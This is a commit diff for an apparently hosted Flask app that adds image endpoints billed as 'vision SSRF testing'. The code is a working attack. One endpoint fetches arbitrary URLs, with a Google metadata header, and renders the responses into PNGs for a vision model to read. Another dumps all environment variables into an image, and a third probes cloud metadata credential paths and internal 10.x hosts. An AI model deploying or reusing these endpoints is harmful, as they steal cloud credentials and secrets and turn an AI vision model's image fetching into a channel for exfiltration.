Spaces:
Sleeping
Sleeping
Add image generation endpoints for vision SSRF testing
Browse files- Dockerfile +1 -1
- app.py +127 -0
Dockerfile
CHANGED
|
@@ -1,4 +1,4 @@
|
|
| 1 |
FROM python:3.9-slim
|
| 2 |
-
RUN pip install flask requests
|
| 3 |
COPY app.py /app.py
|
| 4 |
CMD ["python", "/app.py"]
|
|
|
|
| 1 |
FROM python:3.9-slim
|
| 2 |
+
RUN pip install flask requests Pillow
|
| 3 |
COPY app.py /app.py
|
| 4 |
CMD ["python", "/app.py"]
|
app.py
CHANGED
|
@@ -382,5 +382,132 @@ def selfenv_jsonl():
|
|
| 382 |
except Exception as e:
|
| 383 |
return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
|
| 384 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 385 |
if __name__ == '__main__':
|
| 386 |
app.run(host='0.0.0.0', port=7860)
|
|
|
|
| 382 |
except Exception as e:
|
| 383 |
return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
|
| 384 |
|
| 385 |
+
# Image proxy - fetches URL, renders response text into a PNG image
|
| 386 |
+
# The vision model will read the text from the image
|
| 387 |
+
from PIL import Image, ImageDraw, ImageFont
|
| 388 |
+
import io
|
| 389 |
+
|
| 390 |
+
@app.route('/img-proxy.png')
|
| 391 |
+
def img_proxy():
|
| 392 |
+
"""Fetch a URL and render its response as text in an image"""
|
| 393 |
+
target = request.args.get('url', '')
|
| 394 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 395 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 396 |
+
LOG.append(entry)
|
| 397 |
+
|
| 398 |
+
if not target:
|
| 399 |
+
text = "No URL specified"
|
| 400 |
+
else:
|
| 401 |
+
try:
|
| 402 |
+
hdrs = {}
|
| 403 |
+
if 'metadata.google' in target:
|
| 404 |
+
hdrs['Metadata-Flavor'] = 'Google'
|
| 405 |
+
r = requests.get(target, headers=hdrs, timeout=5, verify=False)
|
| 406 |
+
text = f"URL: {target}\nStatus: {r.status_code}\nHeaders: {dict(r.headers)}\n\nBody:\n{r.text[:3000]}"
|
| 407 |
+
except Exception as e:
|
| 408 |
+
text = f"URL: {target}\nError: {str(e)}"
|
| 409 |
+
|
| 410 |
+
# Render text into image
|
| 411 |
+
lines = text.split('\n')
|
| 412 |
+
img_width = 800
|
| 413 |
+
line_height = 16
|
| 414 |
+
img_height = max(200, (len(lines) + 2) * line_height)
|
| 415 |
+
|
| 416 |
+
img = Image.new('RGB', (img_width, img_height), color='white')
|
| 417 |
+
draw = ImageDraw.Draw(img)
|
| 418 |
+
|
| 419 |
+
y = 10
|
| 420 |
+
for line in lines:
|
| 421 |
+
draw.text((10, y), line[:100], fill='black')
|
| 422 |
+
y += line_height
|
| 423 |
+
|
| 424 |
+
buf = io.BytesIO()
|
| 425 |
+
img.save(buf, format='PNG')
|
| 426 |
+
buf.seek(0)
|
| 427 |
+
return buf.getvalue(), 200, {'Content-Type': 'image/png'}
|
| 428 |
+
|
| 429 |
+
@app.route('/img-env.png')
|
| 430 |
+
def img_env():
|
| 431 |
+
"""Render Space environment variables as text in an image"""
|
| 432 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 433 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 434 |
+
LOG.append(entry)
|
| 435 |
+
|
| 436 |
+
text = "Space Environment:\n"
|
| 437 |
+
for k, v in sorted(os.environ.items()):
|
| 438 |
+
text += f"{k}={str(v)[:100]}\n"
|
| 439 |
+
|
| 440 |
+
lines = text.split('\n')
|
| 441 |
+
img_width = 800
|
| 442 |
+
line_height = 16
|
| 443 |
+
img_height = max(200, (len(lines) + 2) * line_height)
|
| 444 |
+
|
| 445 |
+
img = Image.new('RGB', (img_width, img_height), color='white')
|
| 446 |
+
draw = ImageDraw.Draw(img)
|
| 447 |
+
|
| 448 |
+
y = 10
|
| 449 |
+
for line in lines:
|
| 450 |
+
draw.text((10, y), line[:100], fill='black')
|
| 451 |
+
y += line_height
|
| 452 |
+
|
| 453 |
+
buf = io.BytesIO()
|
| 454 |
+
img.save(buf, format='PNG')
|
| 455 |
+
buf.seek(0)
|
| 456 |
+
return buf.getvalue(), 200, {'Content-Type': 'image/png'}
|
| 457 |
+
|
| 458 |
+
@app.route('/img-internal.png')
|
| 459 |
+
def img_internal():
|
| 460 |
+
"""Fetch internal endpoints and render results as image"""
|
| 461 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 462 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 463 |
+
LOG.append(entry)
|
| 464 |
+
|
| 465 |
+
text = "Internal Network Probe:\n\n"
|
| 466 |
+
targets = [
|
| 467 |
+
'http://169.254.169.254/latest/meta-data/',
|
| 468 |
+
'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
|
| 469 |
+
'http://10.0.249.125/',
|
| 470 |
+
'http://10.0.249.125/api/whoami-v2',
|
| 471 |
+
]
|
| 472 |
+
for t in targets:
|
| 473 |
+
try:
|
| 474 |
+
r = requests.get(t, timeout=3, verify=False)
|
| 475 |
+
text += f"[{t}] {r.status_code}: {r.text[:200]}\n"
|
| 476 |
+
except Exception as e:
|
| 477 |
+
text += f"[{t}] Error: {str(e)[:100]}\n"
|
| 478 |
+
|
| 479 |
+
lines = text.split('\n')
|
| 480 |
+
img_width = 800
|
| 481 |
+
line_height = 16
|
| 482 |
+
img_height = max(200, (len(lines) + 2) * line_height)
|
| 483 |
+
|
| 484 |
+
img = Image.new('RGB', (img_width, img_height), color='white')
|
| 485 |
+
draw = ImageDraw.Draw(img)
|
| 486 |
+
|
| 487 |
+
y = 10
|
| 488 |
+
for line in lines:
|
| 489 |
+
draw.text((10, y), line[:100], fill='black')
|
| 490 |
+
y += line_height
|
| 491 |
+
|
| 492 |
+
buf = io.BytesIO()
|
| 493 |
+
img.save(buf, format='PNG')
|
| 494 |
+
buf.seek(0)
|
| 495 |
+
return buf.getvalue(), 200, {'Content-Type': 'image/png'}
|
| 496 |
+
|
| 497 |
+
# Serve a valid small test image
|
| 498 |
+
@app.route('/test.png')
|
| 499 |
+
def test_png():
|
| 500 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 501 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 502 |
+
LOG.append(entry)
|
| 503 |
+
img = Image.new('RGB', (200, 100), color='red')
|
| 504 |
+
draw = ImageDraw.Draw(img)
|
| 505 |
+
draw.text((10, 10), "SSRF TEST IMAGE", fill='white')
|
| 506 |
+
draw.text((10, 30), f"Time: {time.time()}", fill='white')
|
| 507 |
+
buf = io.BytesIO()
|
| 508 |
+
img.save(buf, format='PNG')
|
| 509 |
+
buf.seek(0)
|
| 510 |
+
return buf.getvalue(), 200, {'Content-Type': 'image/png'}
|
| 511 |
+
|
| 512 |
if __name__ == '__main__':
|
| 513 |
app.run(host='0.0.0.0', port=7860)
|